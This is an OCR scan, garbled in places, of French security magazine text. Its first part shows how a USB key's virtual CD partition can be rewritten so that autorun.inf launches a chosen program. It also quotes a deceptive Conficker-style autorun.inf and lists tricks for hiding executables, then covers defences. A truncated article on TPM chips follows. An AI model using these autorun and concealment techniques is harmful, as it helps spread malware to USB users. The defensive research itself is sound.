apprennent rien de trés intéressant, seulement que c'est un
systeme de fichiers CDFS, et qu'il utilise 2,01 Mo de place. Le
fichier Autorun.inf est configuré de sorte & donner au CD I'icone
Memup et le nom « Pop key » (et ca fonctionne bien).

—8 En branchant la clé dans son ordinateur, et grace au fichier
autorun.inf, le pilote peut démarrer son installation auto-
matiquement, evitant ainsi a I'utilisateur d’avoir a le faire
a la main.

L'idée semblait étre bonne, mais les fabricants ont, sans le
vouloir, mis a disposition des pirates un excellent moyen de pro-
pager des virus ou des moyens de vols de données.

A;km____@_ﬁ:ﬁ, v| B oK
phegs Butorun.inf .. OF Memory bar manual. pdf

l 1-& Informations de configuratior Adobe Acrobat 7.0 Dooumen
"_._'_'_. 1 K0 .Jl’:"; E, !

Aill.. EN Memory bar manual.pdf B2 ES_Memory bar manual.pdf

§ M Yo = B
.. FR Memory bar manual.pdf .%‘ IT_Memory bar manual, pdf !
phat 7.0 Document fdobe Acrobat 7.0 Document

ik

P T
= M - . B
' Memorybar, axe _':,"_”'_"uf_c_'“
, MemoryEar MFC Applicatior e

EFE.. PT_Memory bar manusl.pdf

Adobe Soroost 7.0 Do
e *41 ¥
Ak ;

9 obiet(s) 1,95 Mo

| ¢ Poste de travail

Figure 2 : Contenu du lecteur CD de la clé.

[Autorun]
icon=Memup.ico
1abel=Pop key

Rien d'intéressant a premiere vue sous Windows. Passons
a Linux.

2.2 Analyse sous Linux

Le systeme avec lequel ces tests ont été réalisés est
une distribution a base de noyau Linux 2.6.18, Il faut préci-
ser que la seule nécessité est d'utiliser le module du noyau
« Low Performance USB Block driver » (/dev/ub*) et non le
« UUSB Mass Storage support » (/dev/sd*), car ce dernier ne fonc-
tionne pas avec les manipulations décrites ci-apres.

Branchons la clé. Notre cher ami udev nous a créé quelques

fichiers pour l'oceasion :
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Attention : Ne vous trompez pas lorsque vous vous servez des périphériques situés dans le répertoire /dev : une fausse manipulation

et vous risquez de détruire des données de facon irrémeédiable !

Le péripherique ubb semble contenir les informations de la clé
(a cause de la partition ubbl), tandis que Ui semble contenir le lec-
teur CD. Vérifions-le en le montant dans un répertoire temporaire

Aprés avoir démonté le répertoire, nous allons faire quelques
tests sur la clé, avec l'outil dd :

Cette commande nous a permis de récupérer le contenu
complet et exact, octet par octet, du périphérique /dev/uba. Nous
nous retrouvons done avec un fichier popkey.iso faisant environ
5.5 Mo (11264%512 octets), contenant I'lSO de la clé. Nous le
vérifions simplement en montant le fichier en loopback :

 Adresse | f Poste de traval

wmm{c:} Ul

Lecteur DVD-RAM (D:)

Ig:‘tﬁ] Data {E:)
lxﬁ) CDROM (G:)

11 objet(s)

Nous avons done copié le contenu du CD sur le disque dur.
Essayons maintenant de faire l'inverse :

Tiens donc ! Il semblerait que ca n'a dérangé personne...
En effet, si on rebranche la clé sous Windows, le contenu de la
clé est toujours accessible, Testons a présent autre chose : nous
allons créer une nouvelle ISO contenant un simple fichier texte,
et I'écrire dans la clé :

Sans surprise, 'écriture semble avoir réussi ici aussi.

Maintenant, retournons sous Windows, et observons ce qu'il
en est sur les figures 3 et 4.

Eh oui, sous vos yeux ébahis, nous venons bel et bien de

modifier la structure du lecteur CD virtuel de notre clé USB.

- CDROMAG:)

!5:?&5: Edtion  Affichage  Fayorls  Qutls

:a%éﬁta-_“r' T | Rechercher || Dossiers [

agresse [ Ll — ] Do
e TEST.TXT

| —"
=

|] Poste de travai

Figures 3 et 4 : Disques de la clé et contenu du lecteur CD, apres modification.

3. Les possibilites

Le fait de pouvoir modifier I'image du lecteur CD de notre
clé pourrait sembler assez peu utile, voire passer pour un de ces
« trucs de geek » aux yeux du grand public. Et pourtant, un gros

E B f'-. t 15 N —I- '_:"
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probléme se pose en réalité : le fichier autorun.in, contenu dans
ce CD, est modifiable, donc la possibilité de faire exécuter un
fichier de notre choix a chaque insertion de la clé est possible.




3.1 La preuve en images

Afin de prouver que ces modifications sont réalisables, nous
allons ajouter quelques éléments a notre fichier ISO : un fichier
icone, un exécutable (par exemple la calculatrice Windows) et
un fichier autorun.inf que voici :

[autorun]
open=calc.exe
icon=ico_key,ico

Aprés un petit coup de nkisofs et de dd, nous repartons sur
notre Windows ou, apres insertion de la clé, nous nous retrou-
vons face a... la calculatrice Windows. Licone du lecteur CD
dans le poste de travail a egalement changé :

—
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Figure 5 : Disques de la ele, avee notre fichier autorun.inf

personnalise s
Il a également été possible de mettre le nom MEMUP comme
titre du CD, afin de faire croire qu’il s’agissait bel et bien de la
clé Memup. Bien sfr, il est plus judicieux de reprendre l'icone
et le nom d'origine, mais il ne s’agit la que de tests, pour bien
montrer les changements sur la clé.

3.2 Les risques en reéel

Evidemment, pour un attaquant, il n’y a pas grand intérét a for-
cer un utilisateur a faire des maths. Mais pour lui, le fait d'y glisser
un virus ou un programme de sa création est bien plus important.
De cette maniere, il peut s'assurer que, sur toutes les machines
Windows (non protégées, voir la suite) ot la clé ira, son programme
entrera en action et pourra dérober des fichiers en les copiant sur
la cle, ou bien en se les envoyant par mail, comme cela a été décrit
dans l'article précédent [2]. Il pourra également surveiller les
frappes du clavier, dérober les informations des autres clés USB qui
pourraient se connecter a la machine, désactiver certaines sécuri-
tés afin de faciliter l'acces ou la modification des données... Enfin
tout un programme de pirate, en somme. Les différents moyens de
programmer des scripts malveillants ont déja été discutés dans de
précédents articles [2], et il est méme possible de trouver des kits
spécialisés (« clés en main », sijose dire...) sur Internet, créés dansle
but de faciliter la mise en ceuvre et le déploiement de ce type d'attaque.

Pour information, le contenu maximal de la clé peut étre
facilement vérifiable, en remplissant la clé :

La quantité maximum de place disponible est done de

5,5 Mo, qui n'est finalement rien d'autre que la taille du fichier
popkey.iso que nous avons récupeéré au début de 'article. Clest
largement suffisant pour y mettre toute une panoplie d'outils
dangereux pour la santé d'une entreprise. Et les méthodes
pour dissimuler des fichiers exécutables sont nombreuses :
noms de fichiers barbares ou connus (lsrigriZ.exe, ToolBar.exe,
AdobeReader/éfr.exe...), fichiers cachés ou systeme, utilisation de
l'extension p1f (UserManual.pdf.pif) ou de noms de fichiers trés longs
pour cacher I'extension... Lattaguant n’a que 'embarras du choix.

Un autre avantage, de taille, est que l'utilisateur, méme s’il
sapercoit de l'arnaque, ne pourra pas changer lui-méme la clé afin
de supprimer le virus, sauf s'il connait cette technique. Cela dit,
meéme si son antivirus lui avertit qu'un virus a été trouvé dans le
lecteur CD de sa clé USB, pensez-vous qu’il y croirait ? Et vous ?

3.3 Encore plus loin

On peut étre encore plus vicieux que cela, en automatisant
le processus : notre ami Bob {des articles précédents) peut, dans
son prochain fichier usbdumper-4.sh, patcher automatiquement la
clé de son « amie » Alice afin d'insérer un virus dans le lecteur
CD virtuel. Il n'aura qu’a découvrir le type de chacune des par-
ties de sa clé, extraire le contenu de I'image du CD, ajouter son
virus, modifier le fichier autarun.inf, recréer 'image avec nkisofs
puis réécrire la clé (vous me suivez ?). Tout ceci trés rapidement,
et tres silencieusement. Ainsi, la clé d'échange d’Alice pourra
infecter tous ses amis a la fois, et ce, sans le moindre soupcon
de leur part. Et malgré un formatage complet de la clé comme
cela avait été préconisé comme moyen de protection, le lecteur
CD, lui, ne changera pas, et le virus restera donc dans la clé.

Si la clé d’Alice ne contient pas de lecteur CD virtuel ou si
celui-ci n'est pas modifiable, il est tout a fait possible quun
jour ce soit Bob qui aille chez Alice, avec sa propre clé piratée.
Méfiez-vous donc des clés que I'on branche sur vos PC, méme
si ¢ca parait évident, on n'y pense pas toujours ! Il peut meme
arriver que l'on branche une clé sur votre machine sans que
vous ne soyez au courant, en particulier sur un ordinateur por-
table dans un lieu public, dans le train par exemple. Un moment
d’inattention, et le mal est déja fait.

On peut également se poser la question de la faisabilité de la chose
sous Windows, cest-a-dire qu'un virus puisse infecter les lecteurs
CD virtuels des clés USB, par exemple. Il serait alors envisageable
d'installer un pilote trafiqué afin de pouvoir affecter la clé directement,
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mais ce n'est possible qu'en tant quadminis-
trateur (et c'est tout sauf silencieux). Il est éga-
lement possible de profiter des bugs du pilote
ou des fonctionnalités de mise a jour pour
écrire sa propre image ISO dans la clé [3]. Le
lecteur intéressé saura trouver la documenta-

des clés USBE ne

Rappelons tout de méme que, si les virus n'ont pas Phabitude de se loger dans le
lecteur CD virtuel, ils peuvent (et ne s'en privent pas) trés facilement infecter la
partie stockage de la clé, et ceci concerne toutes les clés. Autrefois, on pouvait
encore protéger physiquement les disquettes contre 'écriture, mais la plupart

disposent plus de cette fonction. Une parade consisterait a

utiliser une clé lecteur de cartes flash (SD, MMC, xD...), et protéeger la carte

tion nécessaire sur les sites spécialisés. flaoh o Bdvitinia

4. Les recours

4.1 Comment se protéger ?

Les explications du précédent article [2] a propos de la désac-
tivation de l'autoexécution s'appliquent dans notre cas aussi (car le
lecteur CD ne pourra alors plus démarrer automatiquement, méme
si le virus reste dans la clé). La modification de la clé de registre
appropriée est donc une bonne parade (voir Figure 6), mais le lan-
cement manuel de la clé est toujours possible, et I'attaque au fichier
dutorun.inf dans la zone de stockage de la clé peut tout a fait étre
utilisée en combinaison avec la modification de I'image du CD. Plus
il y a de moyens, plus il y a de chances de succés !

D’abord, a I'insertion de la clé, les lettres de lecteur choisies
dépendent de la configuration de l'ordinateur de l'utilisateur,
done peuvent étre considérées comme aléatoires (par exemple,
sur mon PC principal, il n'y a méme plus de lettre disponible...).
L'astuce, dans le cas d'un virus, serait de détecter la lettre de
la clé grace a un nom de fichier connu ou au numeéro de série
du systeme de fichiers. Cela ralentit le processus de copie de

fichiers, mais ne I'empéche pas.

Ensuite, avec les clés testées dans cet article, le lecteur CD
ne démarre pas automatiquement dans un cas bien precis : celui
ou la clé est insérée
pour la premiere

&' Editeur du Registre

Fichier Edition Affichage Fayoris ?

Bt F ;
UL Wﬁll." \ AEIEI fois. Le lecteur etant

fraichement ins-

=3 policies 4] | Nom Type | Données | tallé, Windows ne
3 Explorer — | SB)(par éfaut) REG_SZ (valewr non définie) :
: 1] NonEnum H Eﬂhh?tlxﬂrpﬂﬂytﬂﬁ'-'ﬂi REG_DWORD 0x000000Ff (255) lance pas lautorun.
J | 1] B e e Ceci est toutefois
!r’POStE de travaillHKEY _LOCAL_MACHINE\SOF TWARE\Microsoft|Windows\Current¥Yersion\policies er -

provisoire, car a la

Figure 6 : Clé du registre a modifier afin de désactiver Fautorun deuxieme insertion,

Comme nous 'avons déja fait remarquer, les antivirus ne

seront ici d'aucune utilité, car ils ne pourront pas supprimer le
virus de la clé. Tout au plus, ils avertiront I'utilisateur du pro-
bleme, mais celui-ci risque fort de ne pas y croire ou tout sim-
plement ne pas savoir quoi faire.

Une parade eégalement évidente est d'utiliser Linux pour
faire ses manipulations avec la clé USB. A ma connaissance,
aucune distribution Linux ne propose de fonctionnalité simi-
laire a 'autorun sous Windows, mais le jour ou ce sera le cas,
il faudra s'en méfier. Un projet existe a ce sujet [4], mais n'est
pas proposeé par défaut sur la plupart des distributions, bien
qu’il existe sous forme de package, en particulier pour Gentoo.

4.2 Quelques défauts

Cette technigue, mis a part les défaillances relatives a la
désactivation de 'autorun et de I'utilisation de Linux, souffre de
quelques défauts, mais ils ne sont pas insurmontables.
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cette fois-ci tout
fonctionne nor-
malement. Si vous n'avez la possibilité d'insérer qu'une seule
fois votre clé, vous pouvez toujours faire croire que celle-ci a
quelques problémes et qu'il faut la réinsérer pour qu'elle fonc-
tionne correctement, et le tour est joué.

Enfin, toutes les clés ne peuvent pas modifier I'image du
lecteur CD virtuel, comme décrit ici. Par exemple, des tests
menés avec une clé de marque SanDisk U3 révelent quelle
ne semble pas vulnérable (I'image I1SO reste la méme apreés la
manipulation, méme si dd n'indique aucun message d'erreur).
Cependant, une attaque similaire sur ces clés a été publiée en
2006 [ 3], mettant en ceuvre le logiciel de mise a jour fourni par
le constructeur. Bien siir, cela ne veut pas dire qu'elle n'est pas
vulnérable aux virus, mais elle n'est pas vulnérable a 'attaque
décrite dans cet article. Enfin, si c'est votre propre clé, il existe
sur Internet des moyens physiques de modifier la mémoire Flash
de la clé, mais cela nécessite beaucoup plus de compétences et
de matériel.
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Figure 7 : Présentation de lautorun
sous Vista, avec un fichier autorun.inf

malicieux

Il faut également parler de Windows Vista et Windows Server

2008 : la fonction Autorun ne se comporte plus de la méme
maniere sur ces systémes. Alors que, sur les versions précédentes,

On a pu voir que 'automatisation des tiches de I'utilisateur lui
facilite la vie autant qu'aux attaquants. Les points forts des clés
USB deviennent tres vite des points faibles, & partir du moment
ou des actions malhonnétes sont possibles, Cette technique peut
toutefois étre utilisée a bon escient par un informaticien qui
voudrait par exemple pratiquer une installation automatique
d'un logiciel sur une série de PC en insérant une simple clé,
utiliser ses propres outils ou encore se débarrasser de ces logi-
ciels encombrants que les constructeurs nous forcent 4 utiliser.

Afin de se protéger un maximum contre ce type d'attaques, il
faut donc étre certain que la clé n'est pas modifiable (un simple
test sous Linux comme celui décrit plus haut permet de le vérifier

open=RECYCLER\\S-1-6-20-3802918391-3889376219-530839213-2313\\ jwgkvsq.vmx, ahaezedrn
icon=23ystemRoot®\\system32\\SHELL3Z.411,4

action=0pen folder to view files

shell\\open=0pen
snelT\\open\\command=RECYCLER\\S-1-6-28-3882918391-3809376219-530839213-2313\\ jwgkvsq.

shell\\open\\default=1

Figure 8 : Exemple de fichier autorun.inf qui produat le résultat de la figure 7.

Remarguez que lexécutable est dissimulé dans la corbeille de la clé.
|

il

le fichier autorun.inf était immédiatement exécuté sans aucune
action de I'utilisateur, désormais une fenétre propose le choix
de I'action & mener. Donc, a priori, l'attaque n'est plus possible
avec Vista. Et pourtant, c'est faux, car il suffit de créer un fichier
autorun.inf qui trompe le choix de l'utilisateur (voir Figures 7
et 8). Cette technique a notamment été utilisée par le ver
Conflicker [5].

ou bien d’acheter une clé qui ne propose pas de lecteur CD vir-
tuel), ne jamais cliquer sur les autoexécutions (et les désacti-
ver des que possible) et utiliser une machine et une clé USB
dédiées a ce type déchanges, sur un systéme d’exploitation non
propriétaire, afin d'éviter un vol de données trop important. Et
evidemment, éviter les clés proposant des fonctions d’autorun
intégrées (par exemple [6]).

Encore une fois, et comme dans bien des cas, une sensibili-
sation des utilisateurs sur les risques liés aux clés USB et aux
échanges de fichiers et d'informations en général [7] est primor-
diale, car ce sont aussi les plus vulnérables et les plus crédules
en la matiére. 1§
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QUELLE CONFIANCE
ACCORDER

e AUX TRUSTED
;* =~ PLATFORMS ?

Trusted Platform Module / cryptographie / chiffrement de disques durs /
gestion de clefs cryptographiques / Protection matérielle

mots-clées :

ombien de temps pourrait résister votre machine face a un attaquant qui a
C un acces physique a celle-ci ? Le probleme est dautant plus dactualité que les
ordinateurs deviennent de plus en plus mobiles et nous suivent quasiment dans
tous nos déplacements. La possibilité d'un vol ou méme simplement d’un accés ponctuel
est grande. Quant aux informations qu'ils contiennent, surtout lorsqu’il sagit de nos
ordinateurs de travail, leur criticité nest plus a démontrer.

Sur la plupart des machines, demarrer via un token USB, puis monter les disques
chiffrés offre une sécurite relativement raisonnable. Encore faut-il avoir suffisamment
confiance en lutilisateur pour quil ninstalle pas (méme par inadvertance) de malwares
(et particulierement des bootkits?), faisant ainsi entrer le loup dans la bergerie.

Les normes du « Trusted Computing Group » (TCG) introduisent la notion dordinateur
de confiance, jetant les bases d'un ensemble de mesures matérielles et logicielles visant a
protéger les données de votre machine contre des attaques non seulement logiques mais
ausst physiques, allant méme jusqua se défendre contre l'utilisateur lui-méme lorsque
celui-ci risque d'en compromettre la securite.

Tout repose sur des puces spécifiques appelées « Trusted Platform Modules » (TPM)
directement installées sur la carte-meére de lordinateur. Elles ont été normalisées par le
TCG, puis mises en production par un certain nombre de fondeurs (ATMEL, Broadcom,
Infineon, Intel, NSC...) et proposent un ensemble de services sur lequel on peut espérer
construire une sécurité robuste.

Cet article traite des puces TPM [3, 8], de leurs capacités et de quelques logiciels de base
qui permettent den tester le fonctionnement.
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1. D'ordinateur de confiance

La notion d'ordinateur de confiance fut introduite en
1999 par le consortium TCPA (Trusted Computing Platform
Alliance) formeé par Intel, Microsoft, HP, Compaq et IBM,
en vue de répondre a des problemes de DRM (Digital Rights
Managment). A I'époque, l'ordinateur de confiance s'identifiait
presque exclusivement a la notion dordinateur verrouillé, ou
un utilisateur accédait 4 une plate-forme matérielle sous la sur-
veillance distante d'un propriétaire. Le but du propriétaire
étant d'empécher I'utilisateur de modifier les composants logi-
ciels de la plate-forme matérielle dune quelconque facon. Cette
approche du probleme, majoritairement poussée par Microsoft
fut vertement critiquée par la communauté et rejetée en masse
par les utilisateurs?®, pas forcément en connaissance de cause,
car on prétait souvent a ces puces, nommeées alors Palladium,
des propriétés quelles n'avaient pas.

Début 2002, a la vue de la polémique grandissante, la
version 1.1b des spécifications des puces Palladium fut ren-
due publique par le TCPA. Puis, en avril 2003, le Trusted
Computing Group® (TCG), un groupe plus neutre, remplaca
le TCPA. Le TCG fut fondé par AMD, Hewlett-Packard, IBM,
Infineon, Intel, Microsoft,
et Sun Microsystems afin a0y
de tout de méme implémen-
ter et mettre en application
les principes qu'ils avaient
établis ensemble.

Le groupe TCG s’est
divisé en 14 groupes de tra-
vail qui établissent des spé-
cifications correspondant a
différentes plates-formes ou
sous-ensembles de plates- :
formes sécurisées (disques de lordinateur...
stockage, réseaux, serveurs,

PC client, puce TPM, pile

logicielle...). Plus de 140 entreprises travaillent sur I'élabora-
tion des Trusted Platforms, parmi lesquelles AMD, IBM, Intel,
Lenovo, Microsoft, Sun ou encore des universités. Les spécifica-
tions correspondantes ont été rédigées par les groupes de travail

PC client, TPM et Software Stack.

Le groupe TCG définit 'ordinateur de confiance comme
étant une plate-forme matérielle qui possede les trois capacités
suivantes :

—# Lordinateur de confiance doit disposer d'un certain nombre
de capacités protégées (c'est-a-dire supposées inalté-
rables) sous la forme de registres de stockage et de fonctions
cryptographiques choisies.

..Jl nest plus tellement question
de DRM, ni de controle total de la
plate-forme, mais plutot de sassurer
quun ensemble de composants logiciels
et matériels restent de confiance, et
ce, méme lorsque lutilisateur expose
son systeme a des risques potentiels,
tout ceci afin de sécuriser autant que
possible les données contenues dans

~# Il doit, de plus, étre capable de mesurer I'intégrité de ses
composants (matériels et logiciels).

-8 Enfin, il doit pouvoir communiquer son etat d'intégrité
4 une autorité de confiance a travers un réseau non sir.

Forts de ces définitions, les scénarios d’applications et la
portée des applicatifs utilisant ces puces se sont restreints et
sont devenus plus réalistes. Il n'est plus tellement question
de DRM, ni de controle total de la plate-forme, mais plutét de
s'assurer quun ensemble de composants logiciels et matériels
restent de confiance, et ce, méme lorsque l'utilisateur expose
son systéme a des risques potentiels, tout ceci afin de sécuriser
autant que possible les données contenues dans l'ordinateur.

Le plus souvent, l'utilisation des ordinateurs de confiance se
place dans le contexte d'une entreprise qui préte des portables
a ses employés. Ils utilisent leur machine en dehors de I'entre-
prise, souvent dans des milieux non sécurisés (cafés Internet,
Hotspots, 3G/Edge, ...) pour se connecter de fagon distante a
I'intranet et reviennent occasionnellement au sein du réseau de
I'entreprise. La technologie de l'ordinateur de confiance est la
pour sassurer de l'intégrité
des données et des logiciels
critiques de la machine, et
ce, & partir d'un composant
matériel qui renferme cer-
taines informations inex-

pugnables.

A partir de 2004,
les fondeurs proposent
des puces TPM (Trusted
Platform Module) qui
implémentent les spécifi-
cations TPM 1.1b. En 2005,

_1  denombreux portables sont
vendus déja équipés de ces
puces TPM. En juillet 2007, le TCG publie la version 1.2 des
spécifications. Et, dés fin 2007, les premiéres puces TPM 1.2
commencent a apparaitre sur le marché. Puis, en juillet 2008,
les spécifications TPM 1.2 deviennent la norme ISO/IEC 11889,
entérinant ainsi les spécifications décrites par le TCG.

Enfin, il faut signaler que le TCG continue a travailler sur
les futures versions des puces TPM (renouvellement des algo-
rithmes cryptographiques (ECC, SHA-256), module de sur-
veillance des machines virtuelles, etc.). Mais cecl est une autre
histoire...

A T'heure actuelle, seules les puces TPM 1.2 sont produites
et implantées dans 53% des machines qui sortent des usines |1].
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11 s’agit essentiellement de portables, mais aussi de quelques
serveurs éventuellement utilisés comme autorité de certifica-
tion par les puces embarquées sur les portables.

Pourtant, malgré un taux d'équipement important, les appli-
cations logicielles ont du mal a suivre et trés peu d'entre elles
basent leur sécurité sur les TPM.,

Concernant les systémes Microsoft Windows, on peut citer
BitLocker (Microsoft Corp.) ou OmniPass (Softex Inc.).

Les systémes Linux ne sont pas en reste, car ils offrent
aussi, depuis quelques années déja, un support par défaut
pour quelques puces TPM 1.1b (Atmel, Broadcom, Infineon,

National Semiconductor) et un support complet pour toutes les

Quelle confiance accorder aux Trusted Platforms ?

puces TPM 1.2. Certes, les logiciels qui permettent de mani-
puler ces puces sont encore un peu confidentiels et réserveés
aux spécialistes, mais ils progressent dans le bon sens et sem-
blent extrémement prometteurs pour l'avenir. Ainsi, on peut
citer TrouSerS¢+, Trusted Javas ou encore OpenTC®. Et méme si
vous ne possédez pas de puce TPM 1.2 sous la main, sachez qu'il
existe des émulateurs, notamment TPM-Emulator”.

La section suivante détaille I'architecture d'une puce TPM
telle qu'elle est définie par les spécifications TPM 1.2. Puis,
nous illustrerons les capacités des puces TPM sur une plate-
forme Linux avec la suite logicielle TrouSerS (et éventuellement
avec 'aide de TPM-Emulator si vous ne disposez pas encore de
puce TPM).

2. Architecture des Trusted Platform Module

Nous nous intéressons ici aux puces TPM telles qu'elles sont
décrites dans les spécifications TPM 1.2 [10,11,12,13]. Ces
puces doivent répondre & un certain nombre de critéres bien
spécifiques et notamment & la norme FIPS 140-2 [6] du NIST
qui propose un ensemble de mesures de durcissement matériel
et logiciel pour les composants cryptographiques. Hormis ces
mesures générales de protection, I'architecture interne de la
puce est standardisée par les spécifications. Comme le montre la
figure 1, on peut identifier quatre parties principales : les com-
posants de base (en orange), les composants eryptographiques
(en vert), la mémoire non volatile (en rouge) et enfin la mémoire
volatile (en bleu).

2.1 Composants de base

Les composants de base regroupent 'ensemble des compo-

sants qui gerent les opérations non spécifiques a la puce. Ony
trouve la gestion des entrées/sorties, une unité de traitement et un
détecteur de tension. Seul I'Opt-In est spécifique a la puce TPM.

Entrees/Sorties

2.1.1

Les entrées/sorties se font via le bus LPC (Low Pin Count)
qui sert essentiellement a relier le BIOS au CPU ainsi qu'a divers
composants d'entrées/sorties. La principale raison pour laquelle
la puce TPM a été mise a cet endroit bien precis vient du fait que
le BIOS est le premier élément dont la puce assure l'intégrite. Y
avoir un acces direct facilite énormément cette opération (toutes
les autres mesures d'intégrité se font via le CPU). En outre, le
bus LPC est similaire 4 un bus ISA 33MHz, ce qui assure a la
fois une simplicité d'implémentation du pilote matériel (reprise
de code existant), ainsi qu'un débit suffisant pour toutes les opé-
rations assurées par la puce TPM.
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Figure 1 : Architeeture interne dune puce TPM

—

Notez que la communication avec les applications externes
n'est normalisée que depuis les TPM 1.2. Elle se fait via un
espace réservé en RAM sur lequel les logiciels écrivent ou récu-
peérent des informations qui sont ensuite utilisées par la puce
TPM [2]. Avant cela, chaque constructeur devait spécifier lui-
méme la facon de communiquer avec la puce TPM. Les logiciels
Microsoft ne supportent d’ailleurs que les puces TPM 1.2 (et pas
les 1.1b), car développer et unifier I'interface des pilotes maté-
riels pour chaque puce aurait été trop cotiteux.




Uniteé de traitement

2.1.2

Lunité de traitement sert uniquement a vérifier, parser
et exécuter les commandes qui sont passées a la puce TPM. Le
plus souvent, ce module est simplement un petit micro-contro-
leur dédié a ce role. Lensemble des commandes qu'il peut effec-
tuer est entiérement fixé par la spécification [13].

2.1.3

Opt-In

Le module (pt-Ir sert a gérer le controle d'acces sur les capa-

cités de la puce via un ensemble de flags. Ces flags indiquent si
un opérateur de confiance est physiquement présent devant
la machine ou non. Certaines opérations nécessitent effective-
ment que la puce TPM puisse s’assurer que les données qu'elle
eéchange avec I'opérateur empruntent un chemin siir (trusted
path), c’est-a-dire qu'elles ne soient ni interceptées, ni modifiées.
Les puces TPM ont donc deux modes d'action, I'un restreint ot
elle ne divulgue que des informations qui n'affaiblissent pas
sa sécurité et lautre complet ou, un chemin de confiance étant
etabli, elle peut envoyer des données plus confidentielles.

Les opérations qui nécessitent la présence physique de l'opé-
rateur de confiance sont toutes les opérations d’écriture sur la
mémoire non volatile de la puce, par exemple, la remise a zéro, la
prise de controle et le changement de politique d'accés de la puce.

Pour étre tout a fait exhaustif, outre ceux que nous venons
de voir, il existe aussi huit modes opérationnels pour la puce
TPM, définis & travers trois booléens : enabled, active et owned,
qui représentent respectivement le fait que la puce est inactive
mais sans possibilité d’en prendre possession, le fait que la puce
est inactive mais que l'on peut effectuer l'opération de prise de
possession et enfin le fait que la puce ait été initialisée par un
propriétaire (fakeownership).

Toutes ces précautions sont 1a pour rendre la prise de pos-
session de la puce plus difficile par un attaquant qui aurait réussi
a se glisser sur l'ordinateur juste au moment ol 'opérateur fait
des manipulations avec les flags de présence physique activée.

2.1.4 Deétecteur de tension et

Horloge

Vient ensuite le module de détection de tension qui
informe la puce des redémarrages de l'ordinateur. Elle peut
ainsi différencier les redémarrages a chaud (sans power-off)
et les redémarrages complets (avec power-off). Si jamais vous
manipulez des puces TPM, vous verrez que celles-ci nécessitent
assez souvent des redémarrages avec une extinction compléte
de la machine afin de changer d'état (certaines puces nécessi-
tent, par exemple, un power-off pour changer I'état du flag de
présence physique).
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Enfin, la puce TPM doit pouvoir accomplir, lors de certains
protocoles, des opérations de time stamping. Les spécifications
indiquent que I'horloge du bus LPC peut éventuellement suf-
fire, et certaines puces s'en contentent, mais d’autres modéles
de puces TPM ont effectivement une horloge interne propre.
Quoi qu'il en soit, cette horloge n'a pas besoin d'étre corrélée

avec I'horloge de la carte-mere qui indique le temps universel.

2.2 Composants

cryptographiques

Ces composants sont extremement importants pour la puce

etant donné que beaucoup de ses fonctionnalités reposent des-
sus. On y trouve un générateur d’aléa qui produit des entiers
aléatoires de 32 bits reposant éventuellement sur plusieurs
sources externes comme la chaleur environnante, les frappes

au clavier, etc.

De plus, la puce possede divers moteurs cryptographiques
implémentant I'algorithme SHA-1 produisant un conden-
sat de 160 bits, l'algorithme RSA complet avec le moteur de
chiffrement et de génération de clefs (512, 1024 et 2048 bits)
et enfin l'algorithme HMAC [5.7] (Keyed-Hash Message
Authentication Code) avec une clef de 20 octets et des blocs
de 64 octets.

Tous ces modules eryptographiques suivent les normes du
FIPS 140-2 | 6] et s'assurent donc d'une certaine qualité de I'im-
plémentation (absence de biais ou de failles dues a des erreurs
de programmation), et d'une résistance relative aux attaques
physiques classiques comme les attaques side-channel | 4].

2.3 Mémoire non volatile

La mémoire non volatile est persistante et n'est pas

influencée par les power-off de la machine. C’est ici que sont
stockées les informations les plus sensibles de la puce. Mis a
part les trois emplacements mémoire que nous développons par
la suite, il est possible de stocker un certain nombre de données
non specifiques ici. Elle sert par exemple de stockage a quelques
clefs de chiffrement supplémentaires.

Clef d’endossement

2.3.1

La clef d’endossement (Endorsement Key ou EK) est le
cceur de la sécurité de la puce TPM. C'est elle qui joue le réle de
carte d'identité unique (et infalsifiable). Plus prosaiquement, il
s'agit en fait d'une paire de clefs RSA (de 2048 bits minimum)
PUBEK (EK publique) et PRIVEK (EK privée) qui jouent un role
central dans I'établissement d’attestations distantes.

Evidemment, de par sa conception, tout dans la puce TPM est
fait pour que la clef privée PRIVEK ne filtre jamais a l'extérieur,
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pas méme au proprietaire de la plate-forme. Et, a contrario,
obtenir la clef publique PUBEK peut étre fait par n'importe qui
ayant acces a la plate-forme.

Enfin, I'initialisation de I'EK se fait habituellement en usine
lors de la toute premiére initialisation de la puce et, bien que la
spécification n'en fasse pas une obligation, un certain nombre
de modeles de puces TPM 1.2 permettent de générer une paire
de clefs qui vous est propre a posteriori.

2.3.2 Clef principale de stockage

Tout comme la clef dendossement, la clef principale de
stockage (Storage Root Key ou SRK) est une paire de clefs RSA
(de 2048 bits minimum) qui est utilisée pour gérer les clefs de
chiffrement d’applications extérieures. La ou elle différe forte-
ment de la clef dendossement, c'est qu'elle est créée lors de la
prise de possession de la puce par le propriétaire et lui est done
intimement liée.

Ceci veut aussi dire que si la puce change un jour de proprie-
taire, toutes les clefs de chiffrement stockées sous la SRK seront

a tout jamais perdues.

2.3.3 Mots de passe

La puce TPM comprend aussi un module qui assure la ges-
tion des authentifications par mots de passe afin de protéger
un certain nombre de fonctionnalités, notamment liées aux
deux paires de clefs que nous venons de voir. Ainsi, accéder
et/ou modifier certains parameétres requiert le mot de passe
du propriétaire de la puce (Owner Password). D’autre part,
I'utilisation de la clef principale de stockage (SRK) peut requérir
le mot de passe de la SRK (Storage Root Key Password).
Le plus souvent, comme tout le monde doit pouvoir stocker des
clefs de chiffrement via la puce TPM, ce mot de passe est consti-
tué de 20 octets de zéro.

La puce doit, de plus, posséder un ensemble de contre-
mesures concernant les attaques dirigées a 'encontre d'un des
mots de passe stockés dans ce module. Bien que les contre-
mesures soient laissées a la convenance du fondeur, les spécifi-
cations évoquent la possibilité de désactiver la puce pendant un
laps de temps qui double 4 chaque essai infructueux. Le module
d’authentification par mots de passe impose aussi parfois un
certain nombre de contraintes sur le choix des mots de passe

(longueur, complexité, entropie, ete.).

En revanche, il est intéressant de noter que les contre-
mesures effectivement implémentées sur les puces varient assez
drastiquement d'un modele a 'autre. Ainsi, la plupart des puces
TPM 1.1 n'ont absolument aucune protection. Parmi les TPM 1.2,

certaines requiérent un power-off en cas d'échec a I'identification,
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d’autres implémentent ce qui est dit dans la spécification
(doublement du temps de désactivation a chaque essai rate).
Devant la versatilité des contre-mesures, il est difficile de

trouver un schéma d’attaque général par ce biais.

2.4 Mémoire volatile

A Topposé de la mémoire non volatile, la mémoire vola-
tile correspond a la mémoire qui est réinitialisée lors d'une
extinction complete de l'ordinateur. Cette partie de la mémoire
sert essentiellement a stocker des informations qui ne serviront
que pendant la session courante. On y trouve principalement
deux composants : les Platform Configuration Registers (PCR) et
